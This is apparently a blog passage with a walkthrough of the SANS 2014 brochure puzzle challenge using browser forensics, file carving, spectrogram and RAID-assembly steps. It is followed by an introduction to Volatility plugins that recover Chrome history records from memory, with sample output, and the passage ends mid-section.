This gives us bit.ly/SANS_stringspilotsnickburns and redirects to http://brochure2014.counterhack.com/Challenge-2-Level-2-96925C5F-B1F4-4940-B704-BC2E8CBC6800/.

Which has the following text:

Done well you have!

You’ve successfully decoded the encoded text and found this site. In the words of Count Dooku, though… this is just the beginning. Answer the below question and continue on, young Padawan.

Carol has used Firefox for Android to search for, browse, and save a particular image. A compressed copy of her /data/data/org.mozilla.firefox folder is downloadable here. What is the serial number of the lens used to take the downloaded picture? Add the full serial number to the end of http://bit.ly/SANS_ to progress forward.

Hint: You may have to use resources outside the org.mozilla.firefox folder to fully answer this question.

Unzipping the Firefox data from the download link, in org.mozilla.firefox/files/mozilla/9tnld04f.default, we can look at the history:

$ tar -zxf org.mozilla.firefox.tgz
$ cd org.mozilla.firefox/files/mozilla/9tnld04f.default/
$ sqlite3 browser.db
SQLite version 3.7.13 2012-07-17 17:46:21
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> select * from history;
1|harrison ford han solo comic con - Google Search|https://www.google.com/search?q=harrison+ford+han+solo+comic+con&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official|1|4|1392762220192|1392762220193|1392762220388|MD-yXAaFyT8n|0
2|harrison ford han solo comic con - Google Search|https://www.google.com/images?q=harrison+ford+han+solo+comic+con&oe=utf-8&rls=org.mozilla%3Aen-US%3Aofficial&hl=en&sa=X&oi=image_result_group&ei=bN0DU62oA9LaoATH24LgBg&ved=0CAsQsAQ|1||1392762223983|1392762223989|1392762224105|sSslhqzIDbYl|0
3|harrison ford han solo comic con - Google Search|https://www.google.com/images?q=harrison+ford+han+solo+comic+con&oe=utf-8&rls=org.mozilla%3Aen-US%3Aofficial&hl=en&sa=X&oi=image_result_group&ei=bN0DU62oA9LaoATH24LgBg&ved=0CAsQsAQ#|1||1392762224970|1392762224971|1392762224996|VPqjDulKQtRk|0
4|harrison ford han solo comic con - Google Search|https://www.google.com/images?q=harrison+ford+han+solo+comic+con&rls=org.mozilla:en-US:official&hl=en&tbm=isch&ei=b90DU4rZLdfloASKvIGYCQ&start=20&sa=N|1||1392762232161|1392762232163|1392762232252|0NJPgjqylSKg|0
5|harrison ford han solo comic con - Google Search|https://www.google.com/images?q=harrison+ford+han+solo+comic+con&rls=org.mozilla:en-US:official&hl=en&tbm=isch&ei=b90DU4rZLdfloASKvIGYCQ&start=20&sa=N#|1||1392762232803|1392762232804|1392762232814|T4thX7ACWW_o|0
6|harrison ford han solo comic con - Google Search|https://www.google.com/images?q=harrison+ford+han+solo+comic+con&rls=org.mozilla:en-US:official&hl=en&tbm=isch&ei=b90DU4rZLdfloASKvIGYCQ&start=20&sa=N#i=8|1||1392762236646|1392762236651|1392762236659|mJ_g8jlQDXq2|0
7|173974131.jpg (JPEG Image, 1000 × 758 pixels)|http://cbssanfran.files.wordpress.com/2013/07/173974131.jpg?w=1000|1|5|1392762243050|1392762243051|1392762243541|BHlaG0nvvlzS|0

This shows a Google search for “harrison ford han solo comic con” and, finally in row 7, downloading an image 173974131.jpg from a wordpress site.

$ sqlite3 downloads.sqlite
SQLite version 3.7.13 2012-07-17 17:46:21
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> select * from moz_downloads;
1|173974131.jpg|http://cbssanfran.files.wordpress.com/2013/07/173974131.jpg?w=1000|file:///storage/emulated/0/Download/173974131.jpg||1392762252466744|1392762252537026|1|http://cbssanfran.files.wordpress.com/2013/07/173974131.jpg?w=1000||333764|333764|||0|0|abwrZ5us7Wr2

The download history indicates a JPG file was downloaded, so we should be able to find it in the Firefox cache. From org.mozilla.firefox/files/mozilla/9tnld04f.default/Cache, run this:

$ find . -type f -exec file {} \; | grep JPEG
./0/0A/52437d01: JPEG image data, JFIF standard 1.01

Now we can run exiftool on that file, but there is no information on the lens.

$ exiftool 0/0A/52437d01  | grep Lens

Instead, download the file from http://cbssanfran.files.wordpress.com/2013/07/173974131.jpg?w=1000

"Ender's Game" Press Conference

Then, run exiftool:

$ exiftool 173974131.jpg | grep Lens
Lens Info : 70-200mm f/0
Lens Model : EF70-200mm f/2.8L IS II USM
Lens Serial Number : 0000c15998

This gives us the URL http://bit.ly/SANS_0000c15998 which redirects to http://brochure2014.counterhack.com/Challenge-2-Level-3-63A2BD6A-0A72-4F84-9949-587E7AB7254A/ and has the following text:

Do you remember that scene from Episode IV, where Luke and Han get Medals of Bravery from Princess Leia? Well, you deserve one too!

Unfortunately, just like Chewbacca, you’re not going to get one. You can download this file, though, along with some others, to get your own reward!

Download here.

P.S. No, the comic book doesn’t count. You’re really not getting a Medal of Bravery. Sorry ’bout that!

The link is for file2, the second file in the mdadm RAID, and this ends the challenge for this brochure.

Back to top

SANS Seattle

Page 6 of the PDF (page 4 on the brochure) has the brochure challenge banner in this issue with the following symbols:

SANS_symbols

I cut out one of the images:

symbol

Then searched at Google’s Search by Image at http://www.google.com/insidesearch/features/images/searchbyimage.html, which revealed some images related to Futurama:

Search Results

In particular, I found the Pilot Eye Chart in the results.

planet-express-eye-chart

These symbols are part of the Futurama alien language. This page on Alienese shows an image mapping letters to the symbols:

http://futurama.wikia.com/wiki/Alienese

SANS_alienesemap

Mapping the letters from the brochure gives BITDOTLYSLASH1DR4FZG or bit.ly/1DR4FZG which redirects to http://brochure2014.counterhack.com/Challenge-3-Level-1-6A20856D-F322-4CA7-95AC-66FEC65A2546/ and has the following text:

Good news, everyone!

You weren’t fooled by Alienese, were you? Well, before you can become the most important person in the universe, you have some more challenges to finish.

  1. What is the last name of the winner of the second annual NetWars Tournament of Champions?
  2. What is the only tool to be listed on both the “Mobile Device” and “Web App” sections of the SANS Ultimate Pen Test Poster?
  3. How many cans of Red Bull are visible in Dr. Cole’s champagne bucket picture from #SANSScottdale 2014? Be sure to spell out the number (i.e., use “Six” instead of “6”).

Add the three answers to http://bit.ly/SANS_ (without spaces, but keeping the original capitalization) in order to reveal the next section.

The last name of the winner of NetWars can be found at
https://www.sans.org/press/sans-announces-winner-second-annual-netwars-tournament-of-champions.php. His name is Matthew Toussain (0sm0s1z).

The poster can be found at http://pen-testing.sans.org/blog/pen-testing/2013/06/20/announcing-the-ultimate-sans-pen-test-poster. The only tool listed in both “Mobile Device” and “Web App” sections of the poster is Burp Suite.

Dr. Cole’s twitter image can be found at https://twitter.com/drericcole/status/436515767152947200/photo/1. There are Four Red Bull cans visible.

Combining these answers gives us https://bit.ly/SANS_ToussainBurpSuiteFour which redirects to http://brochure2014.counterhack.com/Challenge-3-Level-2-46EE0A03-B770-4B4A-B69A-2651DB1E1BF9/ and has the following text:

Obligatory Zapp Brannigan quote: “If you can hit the bulls-eye, the rest of the dominoes will fall like a house of cards. Checkmate.”

Dave messed up a tar command and deleted a WAV file on accident. He’d really appreciate it if you could retrieve it for him – here’s a download that might help.

Once you’ve recovered the audio file, look at it carefully to find the next URL.

The link is http://brochure2014.counterhack.com/Challenge-3-Level-2-46EE0A03-B770-4B4A-B69A-2651DB1E1BF9/repo.svn_dump.gz. Download the file and gunzip it. The file appears to be an SVN repo. I tried restoring the repo, but I don’t have much SVN experience and kept getting errors. After getting frustrated with that for a while, I just decided to locate the file manually and dump it.

First, I looked at what files were in the repo:

$ grep -a Node-path repo.svn_dump
Node-path: .bash_logout
Node-path: .bashrc
Node-path: .profile
Node-path: examples.desktop
Node-path: dontopen.mp3
Node-path: dontopen.mp3
Node-path: goals.txt

There wasn’t a WAV file, but there was an MP3, so I assumed that was the target. There’s some useful information around the two instances of “dontopen.mp3” in the repo:

$ grep -a dontopen -C 5 repo.svn_dump
svn:log
V 21
Added additional file
PROPS-END

Node-path: dontopen.mp3
Node-kind: file
Node-action: add
Prop-content-length: 59
Text-content-length: 492355
Text-content-md5: 33fa9536b5174d00005850332f8ec8d3
--
--
svn:log
V 70
Oops! Cleared a file that shouldn't have been there in the first place
PROPS-END

Node-path: dontopen.mp3
Node-action: delete


Revision-number: 4
Prop-content-length: 114

We see a message that the file was deleted and shouldn’t have been there. We also have the length of the target file and its MD5 which will help with extracting and verifying it. We just need to know the starting position of the file data. The grep matches above are in a properties section for the file. The full content of the properties section is:

Node-path: dontopen.mp3
Node-kind: file
Node-action: add
Prop-content-length: 59
Text-content-length: 492355
Text-content-md5: 33fa9536b5174d00005850332f8ec8d3
Text-content-sha1: fea00644b3454ee685c91be450183f5ccb5d7406
Content-length: 492414

K 13
svn:mime-type
V 24
application/octet-stream
PROPS-END
ÿûÐÄ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@Info^@^@^@^O^@^@^BL^@^G<83>C^@^B^E^G

We can see the properties ends with a PROPS-END and is immediately followed by the file data, so we just need the offset immediately following PROPS_END.

$ xxd repo.svn_dump | grep -C 3 END
...snip...
--
0003be0: 0a0a 4b20 3133 0a73 766e 3a6d 696d 652d  ..K 13.svn:mime-
0003bf0: 7479 7065 0a56 2032 340a 6170 706c 6963  type.V 24.applic
0003c00: 6174 696f 6e2f 6f63 7465 742d 7374 7265  ation/octet-stre
0003c10: 616d 0a50 524f 5053 2d45 4e44 0aff fbd0  am.PROPS-END....
0003c20: c400 0000 0000 0000 0000 0000 0000 0000  ................
0003c30: 0000 496e 666f 0000 000f 0000 024c 0007  ..Info.......L..
0003c40: 8343 0002 0507 0a0d 0f12 1417 1a1c 1f21  .C.............!
--
...snip...

This hexdump and grep shows the PROPS-END preceded by “application/octet-stream” and followed by binary data, so this looks like the right offset. PROPS-END is followed by hex character 0x0A, which is the newline character, so the start of the data we want is the 0xFF at offset 0x3C1D, or decimal 15389.

Extract the mp3 with:

$ dd if=repo.svn_dump skip=15389 bs=1 count=492355 of=dontopen.mp3
$ md5 dontopen.mp3
MD5 (dontopen.mp3) = 33fa9536b5174d00005850332f8ec8d3

The MD5 of the extracted file matches the MD5 is the properties data from the SVN repo, so it looks like we have the right file. Open in Audacity and select the Spectrogram.

SANS_spectrogram

Scroll to the right and we see what looks like a QR code.

SANS_QRcoderaw

I tried scanning this with a QR code reader, but it wouldn’t work, so I rebuilt the QR code in Excel. After zooming in on the spectrogram, it took a few minutes, but it wasn’t too hard to figure out what needed to be black vs. white.

SANS_QRCodezoom

SANS_QRcodexls

Scanning the Excel image with a QR code reader opens http://bit.ly/1lmqWnz which redirects to
http://brochure2014.counterhack.com/Challenge-3-Level-3-70A90642-FFBF-476B-83DD-48DE266C9B51/ which has the following text:

Did you go back in time and give yourself the answer? Well, either way, great work!

Download the following file and use it, along with others, to reveal the final answer.

Download here.

This will download file3, the third of the 4 files we need, and ends the challenge for this brochure.

Back to top

SANS Network Security

Page 6 of the PDF (page 2 on the brochure) introduces the brochure challenge. For this brochure, the challenge is to find all the diamond shapes with a number in them and assemble them. The shapes look like this:

SANSdiamond

Finding all the images will give you the following (PDF page numbers, subtract 4 to get the printed page number):

  • 98 – page 6
  • 105 – page 9
  • 116 – page 12
  • 46 – page 19
  • 108 – page 25
  • 121 – page 33
  • 47 – page 35
  • 80 – page 40
  • 55 – page 46
  • 77 – page 49
  • 108 – page 61
  • 70 – page 65
  • 70 – page 82

These look like decimal values of ASCII so if we convert each number to its corresponding letter (98=b, 105=i, etc.) we get bit.ly/P7MlFF. This redirects to http://brochure2014.counterhack.com/Challenge-4-Level-1-756D0EF9-2285-4D68-BFE4-C24BE0A003BD/.

This page has the following text:

Good work, recruit. Welcome aboard the Battlestar Galactica. Your next mission is to prove your knowledge of SANS lore.

  1. What software did John Strand run during a recorded call with online scammers to scare and confuse them?
  2. What software does Lenny Zeltser have a YouTube video of running in order to create a memory capture?

Add the two answers to http://bit.ly/SANS_ (without spaces, with the original capitalization) in order to reveal the next section.

Turning to Google we can find the answers to these questions:

  1. The video of John Strand is at https://www.youtube.com/watch?v=6ftRs73dx4s. In the video, he uses Poison Ivy.
  2. The video from Lenny Zeltser is at https://www.youtube.com/watch?v=SEs4ZAolED0. In the video, he uses DumpIt.

These two answers give us the next link: http://bit.ly/SANS_PoisonIvyDumpIt which redirects to http://brochure2014.counterhack.com/Challenge-4-Level-2-6936232A-C867-4CFD-9893-36923470871B/

This page has the following text:

Congratulations! You’ve done very well.

Yes, you’re tired. Yes, there is no relief. Yes, the questions keep coming after you time after time after time. And yes, you are still expected to persist!

Eve suspects that one of the other characters might not be as innocent as they claim to be. She’ll need your help to prove it, however. Examine the other three questions from Level 2 and the included files. Which user, based off their malicious behavior, might be a Cylon?

Once you know who it is, find their password and add it to the end of http://bit.ly/SANS_232E28B95F01_ to continue this quest.

So say we all!

From the PCAP in the Albuquerque challenge, the metasploit session did prove helpful with the password for alice\BOB, which was iamnumbersix. Putting this into the link gives http://bit.ly/SANS_232E28B95F01_iamnumbersix, which redirects to http://brochure2014.counterhack.com/Challenge-4-Level-3-E071FCF5-1876-462B-BC0F-1C6648DB41D4/ and has the following text:

You’ve uncovered the Cylon and completed this part of the challenge. Before your promotion, though, you’ll need to answer other questions.

Download the below file, in combination with other parts, to complete the entire challenge.

Download here.

“Download here” links to the final file, file4, and is the end of this challenge. The link of the word “file” is to the Linux man page for the file command. Running this on the 4 downloaded files seemed like it might have been a hint, but I didn’t get any additional information:

$ file file*
file1: data
file2: data
file3: data
file4: data

Back to top

Putting It All Together

The file command didn’t help with identifying the files, but the original hint to use mdadm proves to be correct. We can run the following commands to setup and mount the software RAID with mdadm. The first four commands create loopback devices for the 4 separate files. The mdadm command combines the 4 devices into a single device. Finally, the mount command mounts the device at the mountpoint /mnt.

$ sudo losetup /dev/loop0 file1
$ sudo losetup /dev/loop1 file2
$ sudo losetup /dev/loop2 file3
$ sudo losetup /dev/loop3 file4
$ sudo mdadm --assemble /dev/md0 /dev/loop0 /dev/loop1 /dev/loop2 /dev/loop3
mdadm: /dev/md0 has been started with 4 drives.
$ sudo mount /dev/md0 /mnt
$ ls /mnt
lost+found  README.txt  winner.7z

Looking in /mnt, we can see a README.txt file:

Congratulations, dear challenger. You have proven your knowledge of encodings, SANS lore, technology, and assorted geekery.

The passphrase for the encrypted 7-zip file is: “How about a nice game of chess?”

The other file in /mnt is the referenced winner.7z. Using that password on winner.7z extracts a few bonus pictures, a file called randombits to make sure the 7z file was big enough to span all the device files, and a final text file “how to win.txt”.

$ 7za x -p"How about a nice game of chess?" winner.7z 

7-Zip (A) [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: winner.7z

Extracting  winning/randombits
Extracting  winning/bonus_pictures/Battlestar Galactica.jpg
Extracting  winning/bonus_pictures/Firefly.jpg
Extracting  winning/bonus_pictures/President Bush and Internet Storm Center.jpg
Extracting  winning/bonus_pictures/SANS instructors on stage.jpg
Extracting  winning/bonus_pictures/SANS trio.jpg
Extracting  winning/bonus_pictures/Futurama.png
Extracting  winning/how to win.txt
Extracting  winning/bonus_pictures
Extracting  winning

Everything is Ok

Folders: 2
Files: 8
Size:       11938981
Compressed: 12021769

The contents of “how to win.txt” are as follows:

Congratulations! You’ve bested all of our challenges… save one.

Send an email to jeff@counterhack.com with the subject line “Brochure Challenge – The Beauty of the Baud”. In the body of the email, include a brief explanation of the steps you took to solve the main technical challenges (Alice’s encrypted file for Bob, Carol’s Firefox for Android, Dave’s recovered WAV file, and the Cylon question). One paragraph each is sufficient.

I sent Jeff an email and got a response back that I was done. Again, it was a great challenge, and I look forward to the next one.

Back to top

by

Volatility Plugin – Chrome History

21 comments

Categories: Forensics, Volatility


As part of the 2014 Volatility Plugin Contest, I created 6 plugins for locating Chrome browser history related artifacts:

They are all in the chromehistory.py module found on my volatility-plugins repo on GitHub.  They also depend on the sqlite_help.py module in the same location, which provides some useful functions for manipulating data in SQLite databases.  Firefox and Chrome both store history and browsing data in SQLite databases.  Depending on the number and type of fields in each table, certain values can be expected in certain positions, which allows us to locate records of a given table.

A sample memory image is available at voltest.zip, and the corresponding History and Cookies files from that image are at chrome_history and chrome_cookies, respectively, for comparison with the plugin output.  I’ve tested the plugins on Chrome 30 and Chrome 37. There are some slight differences between the schemas in these versions and the plugins should handle them, and presumably versions in between.

Like the core Volatility module iehistory, this module adds similar functionality for Chrome browsing history.  It can print output in the default table format or in CSV or bodyfile format.  This is useful for combining with other plugins to create a timeline.  According to W3Schools, Firefox and Chrome make up about 85% of the browser share as of July 2014, so this and my other plugin in the contest help round out Volatility’s browser coverage.

Usage and output for the plugins is below.

chromehistory

The chromehistory plugin extracts records from the Chrome urls table in the History SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. The full output from the sample image is copied below with all 15 records that are in the chrome_history database linked to above, showing the plugin was able to locate them all. The output contains, among other fields, the URL, page title, number of visits, and the last visit time. The URL may occasionally be truncated, but the full URL can be displayed in CSV format. In addition, the last visit timestamp is used in the bodyfile.

The plugin also supports a -N option, for NULLTIME. This will omit any records found with a “null timestamp”. There are no examples in the output below, but sometimes the plugin finds partial records where some data has been overwritten or is incomplete. These often have an invalid timestamp which gets displayed as the epoch time, or 1601/01/01. If these entries are a problem, the -N will omit them from the output.

The history table will just show the last visit to a specific URL along with a count of the number of visits. To see every visit to a URL, see the chromevisits plugin below.

$ vol.py --plugins=plugins/ -f voltest.dmp chromehistory
Volatility Foundation Volatility Framework 2.4
Index  URL                                                                              Title                                                                            Visits Typed Last Visit Time            Hidden Favicon ID
------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ----------
    15 https://www.google.com/webhp?sourceid=c...pv=2&ie=UTF-8#q=What%20is%20Volatliity                                                                                       1     0 2014-08-31 13:09:30.069591      0          0
     8 https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8       Google                                                                                2     0 2014-08-30 19:58:20.439710      0          0
    13 http://www.ubuntu.com/download/desktop/...ou/?version=14.04.1&architecture=amd64 Thanks for downloading Ubuntu Desktop | Ubuntu                                        1     0 2014-08-30 19:56:08.004058      0          0
    14 http://www.ubuntu.com/download/desktop/...=US&version=14.04.1&architecture=amd64 Thanks for downloading Ubuntu Desktop | Ubuntu                                        1     0 2014-08-30 19:56:08.004058      0          0
    12 http://www.ubuntu.com/download/desktop/...te/?version=14.04.1&architecture=amd64 Contribute to Ubuntu | Ubuntu | Ubuntu                                                1     0 2014-08-30 19:56:04.495058      0          0
    11 http://www.ubuntu.com/download/desktop                                           Download Ubuntu Desktop | Download | Ubuntu                                           1     0 2014-08-30 19:56:01.778058      0          0
     9 https://www.google.com/webhp?sourceid=c...=1&espv=2&ie=UTF-8#q=ubuntu%20download                                                                                       1     0 2014-08-30 19:55:46.171058      0          0
     5 http://www.facebook.com/                                                         Welcome to Facebook - Log In, Sign Up or Learn More                                   2     2 2014-08-31 13:09:50.603591      0          0
     7 http://www.cnn.com/                                                              CNN.com - Breaking News, U.S., World, Weather, Entertainment & Video News             1     1 2014-08-30 19:55:33.514058      0          0
     6 https://www.facebook.com/                                                        Welcome to Facebook - Log In, Sign Up or Learn More                                   2     0 2014-08-31 13:09:50.603591      0          0
    10 http://www.ubuntu.com/download                                                   Get Ubuntu | Download | Ubuntu                                                        1     0 2014-08-30 19:55:54.285058      0          0
     4 http://www.foxnews.com/                                                          Fox News - Breaking News Updates | Latest News Headlines | Photos & News Videos       1     1 2014-08-18 01:55:04.057529      0          0
     1 http://tools.google.com/chrome/intl/en/welcome.html                              Getting Started                                                                       1     0 2014-08-18 01:53:54.354616      0          0
     3 https://www.google.com/                                                          Google                                                                                1     1 2014-08-18 01:54:43.940616      0          0
     2 https://www.google.com/intl/en/chrome/browser/welcome.html                       Getting Started                                                                       1     0 2014-08-18 01:53:54.354616      0          0

Back to top

chromevisits

The chromevisits plugin extracts records from the Chrome visits table in the History SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. The full output from the sample image is copied below with all 18 records that are in the chrome_history database linked to above, showing the plugin was able to locate them all.

The visits tables doesn’t contain the actual URLs that were visited; those are stored in the urls table, so a SQL JOIN is needed to combine the two. The default behavior of the plugin is to call the chromehistory plugin internally, then search for visits records and combine the data before printing. If only the data from the visits table is desired, the -Q, for QUICK, option can be given. This will run much faster, but will have a limited amount of information.

The visits table contains the URL id, the last visit time, and the “transition” field. Details of the transition field values can be found at the following links:

In the full output, there are two last visit times. The first is from the visits table and will be the time for that visit; the second is the time from the urls table, so it will correspond to the most recent visit, even when displayed on an earlier visit. The URL field in the full output may occasionally be truncated, but the full URL can be displayed in CSV format. In addition, the last visit timestamp is used in the bodyfile.

visits – QUICK
$ vol.py --plugins=plugins/ -f voltest.dmp chromevisits -Q
Volatility Foundation Volatility Framework 2.4
Visit ID URL ID Visit Time                 From Visit Transition                                                   Segment ID Is Indexed Visit Duration
-------- ------ -------------------------- ---------- ------------------------------------------------------------ ---------- ---------- --------------
      18      6 2014-08-31 13:09:50.603591         17 TYPED;CHAIN_END;SERVER_REDIRECT;                                      0 n/a            2994192297
      17      5 2014-08-31 13:09:50.603591          0 TYPED;CHAIN_START;                                                    3 n/a                     0
      14     14 2014-08-30 19:56:08.004058         13 LINK;CHAIN_END;SERVER_REDIRECT;                                       0 n/a           62001879533
      15      8 2014-08-30 19:58:20.439710          0 GENERATED;FROM_ADDRESS_BAR;CHAIN_START;                               0 n/a                     0
      12     12 2014-08-30 19:56:04.495058         11 FORM_SUBMIT;CHAIN_START_END;                                          0 n/a               3509000
      11     11 2014-08-30 19:56:01.778058         10 LINK;CHAIN_START_END;                                                 0 n/a               2717000
      10     10 2014-08-30 19:55:54.285058          0 LINK;CHAIN_START_END;                                                 0 n/a               7493000
      13     13 2014-08-30 19:56:08.004058         12 LINK;CHAIN_START;                                                     0 n/a                     0
       7      7 2014-08-30 19:55:33.514058          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               4 n/a              12962000
       9      9 2014-08-30 19:55:46.171058          8 LINK;CHAIN_END;CLIENT_REDIRECT;                                       0 n/a                     0
       8      8 2014-08-30 19:55:41.021058          0 GENERATED;FROM_ADDRESS_BAR;CHAIN_START;                               0 n/a                     0
      16     15 2014-08-31 13:09:30.069591         15 LINK;CHAIN_END;CLIENT_REDIRECT;                                       0 n/a                     0
       4      4 2014-08-18 01:55:04.057529          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               2 n/a              13520000
       2      2 2014-08-18 01:53:54.354616          1 START_PAGE;CHAIN_END;SERVER_REDIRECT;                                 0 n/a              83221913
       5      5 2014-08-30 19:55:26.138058          0 TYPED;CHAIN_START;                                                    3 n/a                     0
       3      3 2014-08-18 01:54:43.940616          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               1 n/a                     0
       6      6 2014-08-30 19:55:26.138058          5 TYPED;CHAIN_END;SERVER_REDIRECT;                                      0 n/a                     0
       1      1 2014-08-18 01:53:54.354616          0 START_PAGE;CHAIN_START;                                               0 n/a                     0
visits – FULL
$ vol.py --plugins=plugins/ -f voltest.dmp chromevisits
Volatility Foundation Volatility Framework 2.4
Visit ID URL ID Visit Time                 From Visit Transition                                                   Segment ID Is Indexed Visit Duration URL                                                                              Title                                                                            Visits Typed Last Visit Time            Hidden Favicon ID
-------- ------ -------------------------- ---------- ------------------------------------------------------------ ---------- ---------- -------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ----------
      18      6 2014-08-31 13:09:50.603591         17 TYPED;CHAIN_END;SERVER_REDIRECT;                                      0 n/a            2994192297 https://www.facebook.com/                                                        Welcome to Facebook - Log In, Sign Up or Learn More                                   2     0 2014-08-31 13:09:50.603591      0          0
      17      5 2014-08-31 13:09:50.603591          0 TYPED;CHAIN_START;                                                    3 n/a                     0 http://www.facebook.com/                                                         Welcome to Facebook - Log In, Sign Up or Learn More                                   2     2 2014-08-31 13:09:50.603591      0          0
      14     14 2014-08-30 19:56:08.004058         13 LINK;CHAIN_END;SERVER_REDIRECT;                                       0 n/a           62001879533 http://www.ubuntu.com/download/desktop/...=US&version=14.04.1&architecture=amd64 Thanks for downloading Ubuntu Desktop | Ubuntu                                        1     0 2014-08-30 19:56:08.004058      0          0
      15      8 2014-08-30 19:58:20.439710          0 GENERATED;FROM_ADDRESS_BAR;CHAIN_START;                               0 n/a                     0 https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8       Google                                                                                2     0 2014-08-30 19:58:20.439710      0          0
      12     12 2014-08-30 19:56:04.495058         11 FORM_SUBMIT;CHAIN_START_END;                                          0 n/a               3509000 http://www.ubuntu.com/download/desktop/...te/?version=14.04.1&architecture=amd64 Contribute to Ubuntu | Ubuntu | Ubuntu                                                1     0 2014-08-30 19:56:04.495058      0          0
      11     11 2014-08-30 19:56:01.778058         10 LINK;CHAIN_START_END;                                                 0 n/a               2717000 http://www.ubuntu.com/download/desktop                                           Download Ubuntu Desktop | Download | Ubuntu                                           1     0 2014-08-30 19:56:01.778058      0          0
      10     10 2014-08-30 19:55:54.285058          0 LINK;CHAIN_START_END;                                                 0 n/a               7493000 http://www.ubuntu.com/download                                                   Get Ubuntu | Download | Ubuntu                                                        1     0 2014-08-30 19:55:54.285058      0          0
      13     13 2014-08-30 19:56:08.004058         12 LINK;CHAIN_START;                                                     0 n/a                     0 http://www.ubuntu.com/download/desktop/...ou/?version=14.04.1&architecture=amd64 Thanks for downloading Ubuntu Desktop | Ubuntu                                        1     0 2014-08-30 19:56:08.004058      0          0
       7      7 2014-08-30 19:55:33.514058          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               4 n/a              12962000 http://www.cnn.com/                                                              CNN.com - Breaking News, U.S., World, Weather, Entertainment & Video News             1     1 2014-08-30 19:55:33.514058      0          0
       9      9 2014-08-30 19:55:46.171058          8 LINK;CHAIN_END;CLIENT_REDIRECT;                                       0 n/a                     0 https://www.google.com/webhp?sourceid=c...=1&espv=2&ie=UTF-8#q=ubuntu%20download                                                                                       1     0 2014-08-30 19:55:46.171058      0          0
       8      8 2014-08-30 19:55:41.021058          0 GENERATED;FROM_ADDRESS_BAR;CHAIN_START;                               0 n/a                     0 https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8       Google                                                                                2     0 2014-08-30 19:58:20.439710      0          0
      16     15 2014-08-31 13:09:30.069591         15 LINK;CHAIN_END;CLIENT_REDIRECT;                                       0 n/a                     0 https://www.google.com/webhp?sourceid=c...pv=2&ie=UTF-8#q=What%20is%20Volatliity                                                                                       1     0 2014-08-31 13:09:30.069591      0          0
       4      4 2014-08-18 01:55:04.057529          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               2 n/a              13520000 http://www.foxnews.com/                                                          Fox News - Breaking News Updates | Latest News Headlines | Photos & News Videos       1     1 2014-08-18 01:55:04.057529      0          0
       2      2 2014-08-18 01:53:54.354616          1 START_PAGE;CHAIN_END;SERVER_REDIRECT;                                 0 n/a              83221913 https://www.google.com/intl/en/chrome/browser/welcome.html                       Getting Started                                                                       1     0 2014-08-18 01:53:54.354616      0          0
       5      5 2014-08-30 19:55:26.138058          0 TYPED;CHAIN_START;                                                    3 n/a                     0 http://www.facebook.com/                                                         Welcome to Facebook - Log In, Sign Up or Learn More                                   2     2 2014-08-31 13:09:50.603591      0          0
       3      3 2014-08-18 01:54:43.940616          0 TYPED;FROM_ADDRESS_BAR;CHAIN_START_END;                               1 n/a                     0 https://www.google.com/                                                          Google                                                                                1     1 2014-08-18 01:54:43.940616      0          0
       6      6 2014-08-30 19:55:26.138058          5 TYPED;CHAIN_END;SERVER_REDIRECT;                                      0 n/a                     0 https://www.facebook.com/                                                        Welcome to Facebook - Log In, Sign Up or Learn More                                   2     0 2014-08-31 13:09:50.603591      0          0
       1      1 2014-08-18 01:53:54.354616          0 START_PAGE;CHAIN_START;                                               0 n/a                     0 http://tools.google.com/chrome/intl/en/welcome.html                              Getting Started                                                                       1     0 2014-08-18 01:53:54.354616      0          0

Back to top

chromesearchterms

The chromesearchterms plugin extracts records from the Chrome keyword_search_terms table in the History SQLite database file. It supports –output=csv to print in CSV format. There is no timestamp, so the body format is not supported. The full output from the sample image is copied below with the 2 records that are in the chrome_history database linked to above, showing the plugin was able to locate both of them. The output contains the search term and its lowercase representation, along with the URL ID of the url in the url tables (chromehistory plugin) that corresponds to the search, so the full search URL can be referenced.

$ vol.py --plugins=plugins/ -f voltest.dmp chromesearchterms
Volatility Foundation Volatility Framework 2.4
Row ID Keyword ID URL ID Lowercase                                                        Entered Text
------ ---------- ------ ---------------------------------------------------------------- ----------------------------------------------------------------
     2          2     15 what is volatliity                                               What is Volatliity
     1          2      9 ubuntu download                                                  ubuntu download

Back to top

chromedownloads

The chromedownloads plugin extracts records from the Chrome downloads table in the History SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. Since the output of this plugin is rather small in my examples, I’m including the CSV and bodyfile outputs as an example of what most of these plugins provide. The full output from the sample image is copied below with the 2 records that are in the chrome_history database linked to above, showing the plugin was able to locate both of them. The output contains the the path where the file is being saved, the received and total bytes downloaded, and usually the referrer. In addition it includes the start and end times which are used in the body file. Later versions of Chrome (I think around 36) added the two MIME fields, which is why they’re empty in this sample.

Standard Text Output
$ vol.py --plugins=plugins/ -f voltest.dmp chromedownloads
Volatility Foundation Volatility Framework 2.4
Row Id Current Path                                                                     Target Path                                                                      Start Time                 Received     Total Bytes  State Danger Interrupt End Time                   Opened Referer                                                          By Ext ID By Ext Name ETag                     Last Modified                  MIME Type                        Original MIME Type
------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------- ------------ ------------ ----- ------ --------- -------------------------- ------ ---------------------------------------------------------------- --------- ----------- ------------------------ ------------------------------ -------------------------------- --------------------------------
